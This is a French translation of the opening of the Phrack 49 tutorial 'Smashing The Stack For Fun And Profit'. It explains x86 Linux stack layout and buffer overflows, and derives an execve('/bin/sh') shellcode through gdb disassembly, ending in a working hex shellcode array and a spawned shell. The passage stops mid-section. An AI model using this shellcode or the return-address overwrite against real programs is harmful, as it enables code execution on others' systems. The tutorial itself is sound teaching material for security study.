Note de S/asH : cette traduction est loin d'être exempt de défaut.
Notamment, j'ai eu du mal à traduire les expressions anglaise
comme 'trash the stack' et d'autre. Je les ais donc laissé avec une
traduction approximative entre parenthèses. Certaines expression
peuvent paraître maladroit voir difficile à comprendre. Si vous avez
de meilleur traduction, merci de me prévenir : sl4sh@ifrance.com.
.oO Phrack 49 Oo.
Volume Seven, Issue Forty-Nine
File 14 of 16
BugTraq, r00t, and Underground.Org
vous présentent
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Smashing The Stack For Fun And Profit
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
par Aleph One
aleph1@underground.org
Traduit par S/asH [RtC]
sl4sh@ifrance.com
`smash the stack` (fracasser la pile) [C programming] n. Sur
plusieurs implémentation du C, il est possible de corrompre la
pile d'éxécution en écrivant au-delà de la fin d'un tableau
déclaré dans une fonction. Le code fait ce qui est dit dans la
partie du tableau qui a été écrite sur la pile et peut
provoquer un retour de fonction vers une adresse quelconque.
Cela peut produire les bugs les plus insidieux que l'hummanité
connaisse. Les autres termes sont 'trash the stack' (envoyer
la pile à la poubelle), 'scribble the stack' (gribouiller la
pile), 'mangle the stack' (mutiler la pile); le terme 'mung the
stack' n'est pas utilisé et tant donné que cela n'est jamais fait
intentionellement. Voir 'spam'; voir également 'bug', 'fandango
on core', 'memory leak', 'precedence lossage', 'overrun screw'.
Introduction
~~~~~~~~~~~~
Depuis quelques mois, de nombreuses failles sur le principe du buffer
overflow ont étées découvertes et exploité. Syslog, splitvt, sendmail
8.7.5, Linux/FreeBSD mount, Xt lib, at, etc en sont des exemples. Ce
papier est là pour essayer d'expliquer ce que sont les buffer overflows
et comment leurs exploits fonctionnent.
Des bases en assembleur sont requisent. Une compréhension des concepts
de mémoire virtuel et de l'expériende seront très utiles mais pas nécessaire.
Nous travailleront avec un CPU Intel x86 et un système Linux.
Quelques définitions de bases avant de commencer: un buffer est simplement
un block continu de la mémoire d'un ordinateur et contenant plusieurs données
du même type. Les programmeurs C associent normallement le mot buffer au mot
tableau. Très couramment, tableau de caractères. Les tableaux, comme toutes
variables C, peuvent être aussi bien statique que dynamique. Les variables
statiques sont allouées au chargement dans le segment de donnée. Les variables
dynamiques sont, elles, allouées à l'éxécution dans la pile. 'To Overflow'
est innonder (flow), ou plutôt remplir par dessus, dépasser ou encore déborder.
Nous nous intéresseront seleulement au débordement des buffers dynamiques et
autres connaissance sur les buffer overflows de pile.
Organisation de la mémoire des process
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Pour comprendre ce que sont les buffers de pile, nous devons avant tout
commprendre comment un process organise la mémoire. Les process sont divisés
en trois zones : texte, données et pile. Nous allons nous concentré sur la
zone de la pile, mais d'abord, un court aperçu des autres zones dans le même
ordre.
La zone de texte est fixée par le programme et contient le code
(instructions) et données en lecture seule. Cette zone correspond à la section
text de l'exécutable. Elle est normallement en lecture seule et toute tentative
d'écrire dessus retournera une violation de segment (NDT : ceci est seulement
sur de vrai système comme Linux, en effet les systèmes Microsoft laisse
quiconque écrire sur la région de Texte).
La zone de donnée contient les données, initialisées ou non. Les variables
statiques sont stocké dans cette zone. La zone de données correspond aux
section data-bss de l'éxécutable. Sa taille peut varier grâce à l'apelle
système brk(2). Si l'extension de data-bss ou de la pile épuise la mémoire
disponible, le process sera arrêté et 'reprogrammé' pour être relancé à
nouveau avec un espace mémoire plus grand. De la mémoire est rajouté entre
le segment de données et celui de la pile.
/------------------\ plus petites
| | adresses
| Texte | mémoire
| |
|------------------|
| (Initialisées) |
| Données |
|(non initialisées)|
|------------------|
| |
| Pile | plus grande
| | adresses
\------------------/ mémoire
Fig. 1 Process Memory Regions
Qu'est-ce qu'une pile ?
~~~~~~~~~~~~~~~~~~~~~~~
Une pile est un type de donnée abstrait souvent utilisée en informatique.
Une pile d'objet se définie par la propriété que le dernier objet placé sur
la pile sera le premier retiré. Cette propriété est appelée une file LIFO
(Last In, First Out).
Quelques opérations sont définies sur les piles, les deux plus importantes
étant PUSH et POP. PUSH ajout un élément en haut de la pile. POP, au contraire,
reduit la pile en retire le dernier élément mis en haut de la pile.
Pourquoi utilisons-nous une pile ?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Les ordinateurs modernes ont été conçus pour le besoin en langages de
haut niveau. La technique la plus importante pour stucturer un programme
introduite dans les langages de haut niveau sont les procédures et les
fonctions. Un appel a une procédure modifie le flux d'exécution comme
le fait un saut, mais, contrairement au saut, quand une procédure a terminé
sa tache, elle doit retourné à l'instruction suivant l'appel. Cette abstraction
est implémentée avec l'aide d'une pile.
La pile est également utilisée pour allouée dynamiquement les variables locales
utilisées dans des fonctions, pour passer des paramètres à celle-ci, et pour
retourner des valeurs de celle-ci.
La zone de la pile
~~~~~~~~~~~~~~~~~~
Une pile est un bloque continu du mémoire contenant des données. Un registre
appelé le pointeur de pile (SP : stack pointer) pointe sur le haut de la pile.
Le bas de la pile étant à une adresse fixée. Sa taille est ajustée dynamiquement
à l'éxécution par le noyau. Les instruction PUSH et POP sont implémenté dans le
processeur.
La pile est composé de fenetres logiques qui sont "poussées" quand une
fonction est appelée et sorties au retour de la fonction. Une fenetre contient
les paramètres de la fonction, ses variables locales, et les données nécessaires
pour récupéré la fenetre précédentes, y compris la valeur du pointeur de code
(pointeur pointant sur l'instruction en cour) au momment de l'appel à la fonction.
Selon l'implémentation la pile va s'étendre soit par le bas (vers les adresses
de mémoire plus faibles) soit par le haut. Dans nos exemples nous utiliseront
une pile qui s'étend par le bas. C'est l'implémentation la plus courante des piles
(notamment celle des processeurs Intel, Motorola, SPARC et MIPS). Le pointeur
de pile (SP) dépend également de l'implémentation. Il peut pointer sur la dernière
adresse de la pile ou sur la première adresse disponible après la pile. Pour cet
article, nous considèrerons qu'il pointe sur la dernière adresse de la pile.
En plus du pointer de pile, qui pointe sur le haut de la pile (la plus
petite adresse numérique), il est souvent pratique d'avoir un pointeur de
fenetre (FP : frame pointer) qui pointera vers une adresse liée à la fenetre.
Certain textes peuvent également le nommé pointeur de base locale (LB). En principe
les variables locales peuvent etre référencées en donnant leur position par
rapport à SP. Mais, comme des données sont poussées et retirées de la pile, ce
déplacement change. Meme si, dans certain cas, le compilateur peut garder trace
du nombre de mots dans la pile et corriger les offsets, il y a certain cas où il
ne peut pas le faire et dans tous ces cas une énorme gestion de SP est nécessaire.
De plus, sur certaines machines, comme les machines à processeur Intel, accéder
à une variable située à une distance connue de SP requiert plusieurs intructions.
Par conséquence, plusieur compilateurs utilisent un second registre, FP,
pour référencer aussi bien les variables locales que les paramètres car la distance
par rapport à FP ne change pas avec les PUSH et les POP. Sur les CPU Intel, BP (EBP)
est utilisée dans ce but. Sur les processeur Motorola, tout registre d'adresse
excepté A7 (le pointeur de pile) peut servir à cela. A cause de la facçon dont est
augmenté la pile, les paramètres réels ont un offset positif et les variables
locales un offset négatif à partir de FP.
la première chose qu'une procédure doit faire lorsqu'elle est appelée est de
sauver le précedent FP (pour qu'il puisse etre restoré à la sortie de la procédure).
Après, elle copie SP dans FP pour créer le nouveau FP, et avance SP pour réserver
de la place pour les variables locales. Ce code est appelé le prologue de la
procédure. Lorsque la procédure se termine, la pile doit etre nettoyer, il s'agit
de l'épilogue de la procédure. Les instructions Intel ENTER et LEAVE ou les
instructions Motorola LINK et UNLINK réalise la plupart du travail à faire dans
le prologue et dans l'épilogue
Regardons de quoi a l'air la pile avec un exemple simple :
example1.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}
void main() {
function(1,2,3);
}
------------------------------------------------------------------------------
Pour comprendre ce que le programme fait pour appeler function(), nous le
compilerons en utilisant l'option -S de gcc pour générer une sortie assembleur:
$ gcc -S -o example1.s example1.c
En regardant la sortie assembleur, nous voyons que l'appel à function() est
traduit par :
pushl $3
pushl $2
pushl $1
call function
Cela met les 3 arguments de la fonction dans la pile, puis appelle function().
L'instruction 'call' va mettre le pointer de code (IP : instruction pointer) dans
la pile. Nous auront besoin du registre IP sauvé pour l'adresse de retour (à
l'instruction RET). La première chose faite dans la fonction est le prologue :
pushl %ebp
movl %esp,%ebp
subl $20,%esp
Ce code met EBP dans la pile et le pointeur de fenetre. Puis il copie le
SP courant dans EBP, construisant le nouveau FP. Nous appellerons le FP
sauvegarder SFP. Et enfin, il alloue de la place pour les variables locales
en soustrayant la taille totale des variables à SP.
Nous devons nous rappeler que la mémoire peut seulement etre adressée par
un multiple de la taille des mots (NDT : 16 bits sur un système 16-bits, 32-bits
sur un système 32-bits). Dans notre cas un mots fait 4 octets soit 32 bits. Donc
notre buffer de 5 octets va en prendre en réalité 8 octets (2 mots) et celui de
10 octets prendra 12 octets (3 mots) en mémoire. C'est pourquoi SP est soustrait
de 20. En gardant ceci à l'esprit, notre pile ressemblera, quand function() aura
été apelée, à (chaque espace représente un octet) :
bas de la haut de
mémoire la mémoire
buffer2 buffer1 sfp ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]
bas de la haut de la
pile pile
Buffer Overflows
~~~~~~~~~~~~~~~~
Un buffer overflow (dépassement de tampon) est le résultat d'une tentative
de mettre plus de données qu'un buffer peut contenir. Comment cet erreur de
programmation courante peut-etre détourné pour exécuter un code arbitraire ?
Regardons un autre exemple :
example2.c
------------------------------------------------------------------------------
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
void main() {
char large_string[256];
int i;
for( i = 0; i < 255; i++)
large_string[i] = 'A';
function(large_string);
}
------------------------------------------------------------------------------
Il s'agit d'un programme contenant une erreur de buffer overflow typique.
La fonction copie une chaine données sans vérifier sa taille en utilisant
strcpy() au lieu de strncpy(). Si vous lancez ce programme, vous obtiendrez
un segmentation violation. Regardons de quoi la pile à l'air quand nous
appelons la fonction:
bas de la haut de
mémoire la mémoire
buffer sfp ret *str
<------ [ ][ ][ ][ ]
bas de la haut de la
pile pile
Qu'est-ce qui ce passe ? Pourquoi obtenons nous un segmentation violation ?
C'est simple. strcpy() copie le contenu de *str (larger_string[]) dans buffer[]
jusqu'à ce qu'un caractère null ('\0') soit trouvé dans la chaine. Comme nous
pouvons le voir, buffer[] est plus petit que *str. buffer[] fait 16 octets et
nous essayons d'y placer 256 octets. Cela veut dire que les 250 octets suivants
le buffer dans la pile seront réécrit. Incluant SFP, RET, et meme *str ! Nous
avons remplit large_string avec le caractère 'A' dont la valeur héxadécimale
est 0x41. Cela signifie que l'adresse de retour sera désormais 0x41414141. C'est
hors de l'espace mémoire du processus. C'est pourquoi, alors la fonction finie
et essaie de lire l'instruction à cette adresse, vous obtenez un segmentation
violation.
Donc un buffer overflow nous autorise à changer l'adresse de retour d'une
fonction. Par ce moyen nous pouvons changer le cour de l'exécution normale d'un
programme. Revenons à notre premier exemple et rappelons nous que la pile
ressemblait à :
bas de la haut de
mémoire la mémoire
buffer2 buffer1 sfp ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]
bas de la haut de la
pile pile
Modifions notre premier exemple pour qu'il réécrive l'adresse de retour,
et voyons comment nous pouvons exécuter un code arbitraire. Juste avant
buffer1[] il y a, dans la pile, SFP et, encore avant, l'adresse de retour.
Soit 4 octets après la fin de buffer1[]. Mais rappelons-nous que buffer1[] fait
en réalité 2 mots soit 8 octets. Donc l'adresse de retour est à 12 octets du
début de buffer1[]. Nous allons modifier la valeur de retour de tel manière
que l'instruction 'x = 1;' après l'appel à la fonction sera sauté. Pour le
faire, nous ajoutons 8 à l'adresse de retour. Notre code est désormais :
example3.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
ret = buffer1 + 12;
(*ret) += 8;
}
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}
------------------------------------------------------------------------------
Nous avons ajouté 12 à l'adresse de buffer1[]. Cette nouvelle adressse est
l'emplacement de l'adresse de retour. Nous voulons "sauter" l'assignement pour
arriver à l'appel à printf. Comment avons-nous su qu'il fallait ajouter 8 à
l'adresse de retour ? Nous avons d'abord utilisé une valeur de test (pour
l'exemple 1), compilé le programme et lancé gdb :
------------------------------------------------------------------------------
[aleph1]$ gdb example3
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 <main>: pushl %ebp
0x8000491 <main+1>: movl %esp,%ebp
0x8000493 <main+3>: subl $0x4,%esp
0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp)
0x800049d <main+13>: pushl $0x3
0x800049f <main+15>: pushl $0x2
0x80004a1 <main+17>: pushl $0x1
0x80004a3 <main+19>: call 0x8000470 <function>
0x80004a8 <main+24>: addl $0xc,%esp
0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp)
0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax
0x80004b5 <main+37>: pushl %eax
0x80004b6 <main+38>: pushl $0x80004f8
0x80004bb <main+43>: call 0x8000378 <printf>
0x80004c0 <main+48>: addl $0x8,%esp
0x80004c3 <main+51>: movl %ebp,%esp
0x80004c5 <main+53>: popl %ebp
0x80004c6 <main+54>: ret
0x80004c7 <main+55>: nop
------------------------------------------------------------------------------
Nous pouvons voir qu'en appelant function() l'adresse de retour sera
0x8004a8, et que nous voulons aller après l'assignement à 0x80004ab.
L'instruction que nous voulons éxécuter est à l'adresse 0x8004b2. Un petit
peu de math nous dit que la distance à ajouter est 8 octets.
Shell Code
~~~~~~~~~~
A présent que nous savons que nous pouvons modifier l'adresse de retour
et le cour de l'exécution, quel programme voulons-nous exécuter ? Dans la
plupart des cas, nous voulons simplement que le programme renvoie un shell.
A partir du shell, nous pouvons lancer les commandes que nous voulons. Mais
comment faire s'il n'y a pas de code qui lance un shell dans le programme que
nous essayons d'exploiter ? Comment mettre une instruction arbitraire dans
l'espace mémoire du programme ? La solution est de mettre le code que nous
voulons éxécuter dans le buffer que nous voulons faire déborder, et de réécrire
l'adresse de retour pour qu'elle pointe dans le buffer. Considérons que la pile
commence à l'adresse 0xFF, et que S représente le code que nous voulons
exécuter, alors la pile ressemblera à :
bas de la DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF haut de la
mémoire 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF mémoire
buffer sfp ret a b c
<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^ |
|____________________________|
bas de la haut de la
pile pile
Le code pour lancer un shell en C ressemble à :
shellcode.c
-----------------------------------------------------------------------------
#include <stdio.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------------
Pour voir à quoi cela ressemble en assembleur nous le compilons et démarrons
gdb. N'oubliez pas d'utiliser l'option -static. Sinon le code pour l'appel
système à execve ne sera pas inclu : il y aura à la place une référence vers
la libc qui est normallement liée au chargement.
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>: pushl $0x0
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 <main+25>: pushl %eax
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d <main+29>: pushl %eax
0x800014e <main+30>: call 0x80002bc <__execve>
0x8000153 <main+35>: addl $0xc,%esp
0x8000156 <main+38>: movl %ebp,%esp
0x8000158 <main+40>: popl %ebp
0x8000159 <main+41>: ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
------------------------------------------------------------------------------
Essayons de comprendre ce qui ce passe dans ce code. Commençons par étudier
main :
------------------------------------------------------------------------------
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
C'est le prélude de la procédure. Tout d'abord, l'ancien pointeur de
fenetre est sauvé puis le nouveau est construit à partir du pointeur
de pile et enfin de la mémoire est laissée pour les variables locales.
Ici c'est :
char *name[2];
soit 2 pointeurs vers une donnée de type char. Les pointeurs font un
mot de longueur, donc 2 mots de mémoire sont réservés dans la pile
(8 octets).
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
Nous copions la valeur 0x80027b8 (l'adresse de la chaine "/bin/sh")
dans le premier pointeur, name[0]. C'est équivalent à :
name[0] = "/bin/sh";
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
Nous copions la valeur 0x0 (NULL) dans le second pointeur, name[1].
C'est équivalent à :
name[1] = NULL;
Le véritable appel à execve() commence ici.
0x8000144 <main+20>: pushl $0x0
Les arguments de execve() sont poussés dans la pile selon l'ordre
inverse, en commençant par NULL.
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
L'adresse de name[] est chargé dans le registre EAX
0x8000149 <main+25>: pushl %eax
L'adresse de name[] est poussée dans la pile.
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
L'adresse de la chaine "/bin/sh" est mise dans le registre EAX.
0x800014d <main+29>: pushl %eax
Nous poussons l'adresse de la chaine "/bin/sh" dans la pile.
0x800014e <main+30>: call 0x80002bc <__execve>
Appelle la procedure execve(). L'instruction call pousse IP dans la
pile
------------------------------------------------------------------------------
Passons désormais à execve(). Gardons à l'esprit que nous utilisons un
système Linux avec processeur Intel. Les détails des appels système change
selon l'OS et le CPU. Certains passent les arguments sur la pile, d'autres
dans les registres. Certains utilisent une interruption logiciel pour passer
en mode noyau, d'autres utilisent un far call. Linux passe ces arguments du
call dans les registres et utilisent une interruption logiciel pour passer la
main au noyau.
------------------------------------------------------------------------------
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
Le prélude
0x80002c0 <__execve+4>: movl $0xb,%eax
Copie 0xb (11 en décimal) sur la pile, il s'agit d'un index de la
table d'appel système. 11 est celui de execve.
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
Copie l'adresse de "/bin/sh" dans EBX.
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
Copie l'adresse de name[] dans ECX.
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
Copie l'adresse du pointeur nul dans %edx.
0x80002ce <__execve+18>: int $0x80
Passe la main au noyau.
------------------------------------------------------------------------------
Donc, comme nous pouvons le voir, il n'y en pas de trop pour l'appel système à
execve(). Tout ce que nous avons besoin de faire est :
a) Avoir la chaine "/bin/sh" (terminée par un caractère nul) quelque
part en mémoire.
b) avoir l'adresse de la chaine "/bin/sh" en mémoire suivit d'un mots
nul.
c) Copier 0xb dans le registre EAX.
d) Copier l'adresse de l'adresse de la chaine "/bin/sh" dans le
registre EBX.
e) Copier l'adresse de la chaine "/bin/sh" dans le registre ECX.
f) Copier l'adresse du mot nul dans EDX.
g) Exécuter l'instruction int $0x80.
Qu'en est-il du cas où l'appel à execve() echoue pour une raison quelconque?
Le program va continuer à aller chercher des instructions dans la pile qui peut
contenir des données aléatoire ! Le programmes plantera surement avec un joli
core dump. Nous voulons que le programme quitte tranquilement si l'appel à
execve échoue. Pour cela, nous devons ajouter un un appel système à exit après
celui de execve. A quoi ressemble l'appel systèmle à exit ?
exit.c
------------------------------------------------------------------------------
#include <stdlib.h>
void main() {
exit(0);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
0x8000358 <_exit+12>: int $0x80
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
------------------------------------------------------------------------------
L'appel système exit() place 0x1 dans EAX, le code de sortie dans EBX puis
exécute "int 0x80". La plupart des applications retournent 0 à la sortie
pour indiquer "pas d'erreur". Nous placerons donc 0 dans EBX. Notre liste
d'étapes est maintenant :
a) Avoir la chaine "/bin/sh" (terminée par un caractère nul) quelque
part en mémoire.
b) avoir l'adresse de la chaine "/bin/sh" en mémoire suivit d'un mots
nul.
c) Copier 0xb dans le registre EAX.
d) Copier l'adresse de l'adresse de la chaine "/bin/sh" dans le
registre EBX.
e) Copier l'adresse de la chaine "/bin/sh" dans le registre ECX.
f) Copier l'adresse du mot nul dans EDX.
g) Exécuter l'instruction int $0x80.
h) Copier 0x1 dans le registre EAX.
i) Copier 0x0 dans le registre EBX.
j) Exécuter l'instruction int $0x80.
Essayons de mettre tout ça essemble en langage assembleur, en plaçant la
chaine après le code, et en nous rappelant que nous devrons mettre l'adresse
de la chaine et un mot null après le tableau. Nous obtenons:
------------------------------------------------------------------------------
movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
La chaine /bin/sh vient ici
------------------------------------------------------------------------------
Le problème est que nous ne connaissons pas où, dans l'espace mémoire,
le programme dont nous essayons d'exploiter le code (et la chaine) sera
placé. Un moyen de contourner ce problème est d'utiliser un JMP puis un CALL.
Les instructions JMP et CALL peuvent utiliser l'adressage relatif à IP, ce qui
veut dire que nous pouvons nous déplacer d'un offset à partir du IP courant
sans avoir besoin de connaitre l'adresse exacte de la mémoire où nous voulons
aller. Si nous placons une instruction CALL juste avant la chaine "/bin/sh",
et une instruction JMP vers celle-ci, l'adresse de la chaine sera poussé dans
la pile comme adresse de retour quand le CALL sera exécuté. Tout ce que nous
avons besoin de faire est de copier l'adresse de retour dans un registre.
L'instruction CALL peut appeler simplement le début du code précédent.
Considérons désormais que J est là pour l'instruction JMP, C pour l'instruction
CALL, et s pour la chaine, alors le flux d'exécution sera :
bas de la DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF haut de la
mémoire 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF mémoire
buffer sfp ret a b c
<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
bas de la haut de la
pile pile
Avec ces modifications, en utilisant un adressage indexé, et en écrivant
la taille en octet de chaque instruction, notre code ressemble à :
------------------------------------------------------------------------------
jmp offset-to-call # 2 octets
popl %esi # 1 octet
movl %esi,array-offset(%esi) # 3 octets
movb $0x0,nullbyteoffset(%esi)# 4 octets
movl $0x0,null-offset(%esi) # 7 octets
movl $0xb,%eax # 5 octets
movl %esi,%ebx # 2 octets
leal array-offset,(%esi),%ecx # 3 octets
leal null-offset(%esi),%edx # 3 octets
int $0x80 # 2 octets
movl $0x1, %eax # 5 octets
movl $0x0, %ebx # 5 octets
int $0x80 # 2 octets
call offset-to-popl # 5 octets
La chaine /bin/sh va ici
------------------------------------------------------------------------------
En calculant la distance de jmp à call, de call à popl, de l'adresse de la
chaine au tableau et de l'adresse de la chaine au mot null, nous obtenons à
présent :
------------------------------------------------------------------------------
jmp 0x26 # 2 octets
popl %esi # 1 octet
movl %esi,0x8(%esi) # 3 octets
movb $0x0,0x7(%esi) # 4 octets
movl $0x0,0xc(%esi) # 7 octets
movl $0xb,%eax # 5 octets
movl %esi,%ebx # 2 octets
leal 0x8(%esi),%ecx # 3 octets
leal 0xc(%esi),%edx # 3 octets
int $0x80 # 2 octets
movl $0x1, %eax # 5 octets
movl $0x0, %ebx # 5 octets
int $0x80 # 2 octets
call -0x2b # 5 octets
.string \"/bin/sh\" # 8 octets
------------------------------------------------------------------------------
Ca à l'air bon. Pour etre sur que cela fonctionne correctement nous devons
le compiler et le lancer. Mais il y a un problème : notre code s'automodifie
et la plupart des OS mettent les zones de codes en lecture seule. Pour passer
outre cette restriction, nous devons placer le code que nous voulons éxécuter
dans la pile ou dans le segment de données et lui passer le controle. Pour
cela, nous placerons notre code dans un tableau global dans le segment de
données. Nous avons d'abord besoin d'une représentation hexadécimale du code
binaire. Compilons-le d'abord puis utilisons gdb.
shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x2a # 3 octets
popl %esi # 1 octet
movl %esi,0x8(%esi) # 3 octets
movb $0x0,0x7(%esi) # 4 octets
movl $0x0,0xc(%esi) # 7 octets
movl $0xb,%eax # 5 octets
movl %esi,%ebx # 2 octets
leal 0x8(%esi),%ecx # 3 octets
leal 0xc(%esi),%edx # 3 octets
int $0x80 # 2 octets
movl $0x1, %eax # 5 octets
movl $0x0, %ebx # 5 octets
int $0x80 # 2 octets
call -0x2f # 5 octets
.string \"/bin/sh\" # 8 octets
");
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: jmp 0x800015f <main+47>
0x8000135 <main+5>: popl %esi
0x8000136 <main+6>: movl %esi,0x8(%esi)
0x8000139 <main+9>: movb $0x0,0x7(%esi)
0x800013d <main+13>: movl $0x0,0xc(%esi)
0x8000144 <main+20>: movl $0xb,%eax
0x8000149 <main+25>: movl %esi,%ebx
0x800014b <main+27>: leal 0x8(%esi),%ecx
0x800014e <main+30>: leal 0xc(%esi),%edx
0x8000151 <main+33>: int $0x80
0x8000153 <main+35>: movl $0x1,%eax
0x8000158 <main+40>: movl $0x0,%ebx
0x800015d <main+45>: int $0x80
0x800015f <main+47>: call 0x8000135 <main+5>
0x8000164 <main+52>: das
0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>: das
0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55>
0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>: 0xeb
(gdb)
0x8000134 <main+4>: 0x2a
(gdb)
.
.
.
------------------------------------------------------------------------------
testsc.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
------------------------------------------------------------------------------
Ca marche ! Mais il y a un obstacle. Dans la plupart des cas, nous
essaierons de faire déborder un tableau de caractère. Ainsi n'importe quel
octet null de notre shellcode sera interprété comme la fin de la chaine, et
la copie s'y terminera. Pour que notre exploit fonctionne, il ne faut aucun
octet null dans notre shellcode. Essayons de les éliminer (et en meme temps
de rendre le code plus petit).
Instruction problématique : Remplacée par :
